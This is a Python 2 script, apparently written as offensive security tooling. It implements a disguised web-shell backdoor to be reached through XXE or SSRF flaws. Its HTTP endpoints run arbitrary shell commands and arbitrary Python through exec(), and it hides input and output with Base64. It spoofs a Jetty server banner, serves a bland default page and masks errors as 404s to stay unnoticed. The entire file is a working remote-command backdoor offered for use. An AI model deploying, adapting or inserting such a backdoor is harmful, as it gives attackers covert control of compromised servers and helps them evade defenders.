# Shell reachable through XXE and (some) SSRF vulnerabilities
#
# You can:
# - execute shell commands: /shell?cmd=xxxx
# - execute some Python code: /python?code=xxxx
# - kill the process: /quit? 
#
# Optional Base64 encoding via parameters i64 (input) and o64 (output)

# By Nicolas Gregoire / @Agarri_FR

from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
from StringIO import StringIO
import subprocess, urlparse, base64, sys

# Main class
class pwnHandler(BaseHTTPRequestHandler):

	# Execute some Python code and return stdout
	def exec_stdout(self, py):

		# Redirect stdout to our buffer and exec() some Python code
		old_stdout = sys.stdout
		redirected_output = sys.stdout = StringIO()
		exec(py)
			
		# Restore the original stdout
		sys.stdout = old_stdout
		return redirected_output.getvalue()

	# Handle only GET requests
	def do_GET(self):
		
		try:
			# Pretend to be something else
			self.server_version = 'Jetty/3.1.7'
			self.sys_version = ''

			# Parse the URL (path and parameters)
			sep = self.path.find('?')
			action = self.path[:sep]
			args = urlparse.parse_qs(self.path[sep+1:], True)

			# Shell command (pipes and wildcards are OK)
			if action == '/shell':
				cmd = args['cmd'][0]
				# Input encoding
				if 'i64' in args:
					cmd = base64.b64decode(cmd)
				data = subprocess.check_output(cmd, shell=True)
			# Python code
			elif action == '/python':
				code = args['code'][0]
				# Input encoding
				if 'i64' in args:
					code = base64.b64decode(code)
				data = self.exec_stdout(code)
			# Auto destruction
			elif action == '/quit':
				self.server.kill_me = True
				data = 'Killing myself'
			# Keep low profile
			else:
				data = 'Default web page'

			# Output encoding
			if 'o64' in args:
				data = base64.b64encode(data)

			# Send something back
			self.send_response(200)
			self.send_header('Content-type', 'text/plain')
			self.end_headers()
			self.wfile.write(data)

		# If seomething went wrong, send back a 404
		except:
			self.send_error(404,'File Not Found')


# Main loop
server = HTTPServer(('', 8080), pwnHandler)
server.kill_me = False
while not server.kill_me:
	server.handle_request()
